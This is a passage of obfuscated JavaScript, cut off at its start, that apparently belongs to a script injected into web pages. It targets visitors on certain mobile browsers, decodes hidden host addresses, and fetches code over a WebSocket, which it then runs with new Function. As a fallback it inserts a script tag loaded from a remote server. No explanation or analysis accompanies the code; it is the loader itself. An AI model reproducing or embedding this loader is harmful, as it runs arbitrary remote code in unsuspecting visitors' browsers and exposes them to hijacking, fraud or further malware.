if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=LUyKT(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1wemx2cS5jbiUzQQTg4OTE=','aHR0cHMllM0EllMkYllMkZhLnllra2hqcy5jbiUzQTk1MzU=','168322',window,document,['Q','l']);}:function(){};